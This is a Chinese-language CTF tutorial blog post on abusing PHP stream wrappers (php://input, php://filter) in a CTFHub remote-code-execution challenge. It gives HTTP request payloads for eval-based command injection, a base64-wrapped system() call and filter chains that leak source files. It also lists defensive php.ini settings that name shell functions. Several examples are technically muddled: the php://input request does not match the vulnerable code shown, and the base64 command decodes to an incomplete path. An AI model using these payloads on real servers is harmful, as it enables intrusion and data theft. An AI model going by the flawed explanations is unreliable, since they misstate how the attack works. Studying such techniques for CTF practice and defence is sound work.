PHP伪协议实战：用php://input和filter在CTFHub RCE挑战中读取flag
PHP伪协议高阶实战：从源码泄露到RCE的攻防艺术
在CTF竞赛和实际渗透测试中，PHP伪协议就像一把瑞士军刀，能帮助安全研究人员突破各种限制。今天我们不谈那些基础用法，而是深入探讨如何将php://input和php://filter这两个看似简单的协议组合出意想不到的效果。
1. 理解PHP伪协议的核心机制
PHP伪协议本质上是对I/O流的抽象封装，它们不是真实存在的文件系统路径，而是PHP内核提供的特殊处理程序。当遇到这些协议时，PHP会触发对应的流处理器来完成特定操作。
关键协议对比：
| 协议类型 | 数据流向 | 典型应用场景 | 常见限制 |
|---|---|---|---|
| php://input | 只读 | 获取POST原始数据 | 需要allow_url_include开启 |
| php://filter | 读写 | 数据流过滤转换 | 通常不受配置限制 |
| php://output | 只写 | 直接输出到缓冲区 | 需配合输出缓冲使用 |
| php://memory | 读写 | 临时数据存储 | 内存容量限制 |
php://input的强大之处在于它能绕过很多传统输入检测。比如当代码使用$_POST或file_get_contents('php://input')时，数据不会出现在$_GET或$_POST超全局变量中，这使得基于参数名的过滤可能失效。
2. 突破限制：php://input的实战技巧
在CTFHub的RCE挑战中，我们经常遇到这样的代码：
if(isset($_GET['cmd']) && !strpos($_GET['cmd'], 'flag')){ eval($_GET['cmd']); }传统思路是尝试命令拼接或编码绕过，但更优雅的解法是：
POST /vuln.php?cmd=system('ls /'); HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded <?php echo `cat /fl*`; ?>关键绕过点：
- 使用POST请求传递PHP代码，避免GET参数被检测
php://input流中的数据不会经过$_GET或$_POST过滤- 通配符
*可以绕过对特定关键词的过滤
注意：实际场景中可能需要尝试不同编码方式，如Base64包装
system(base64_decode('Y2F0IC9mbA=='))
3. 源码泄露的艺术：php://filter的进阶用法
当直接RCE被阻断时，源码审计往往是突破口。php://filter不仅能读取文件，还能进行编码转换：
GET /index.php?file=php://filter/convert.base64-encode/resource=config.php HTTP/1.1 Host: target.com这种手法的精妙之处在于：
- 绕过
include的文件后缀限制 - 避免特殊字符被当作PHP代码执行
- Base64编码可以避开内容检测
多层过滤技巧：
// 读取并压缩源码 php://filter/zlib.deflate/convert.base64-encode/resource=index.php // 组合多个过滤器 php://filter/read=string.toupper|string.rot13/resource=flag.php4. 防御者的视角：如何防护伪协议攻击
理解了攻击手法，防御措施就更有针对性：
配置防护：
; php.ini关键配置 allow_url_fopen = Off allow_url_include = Off disable_functions = exec,system,passthru代码层防护：
$allowed_protocols = ['http', 'https']; if(in_array(parse_url($input, PHP_URL_SCHEME), $allowed_protocols)){ // 安全处理 }输入验证增强：
// 检查文件内容是否包含PHP标签 if(preg_match('/<\?php/i', file_get_contents($path))){ throw new SecurityException(); }
在最近的一次渗透测试中，我们发现即使关闭了allow_url_include，攻击者仍可能通过php://filter结合文件上传漏洞获取敏感信息。这提醒我们安全防护需要多层次、纵深防御。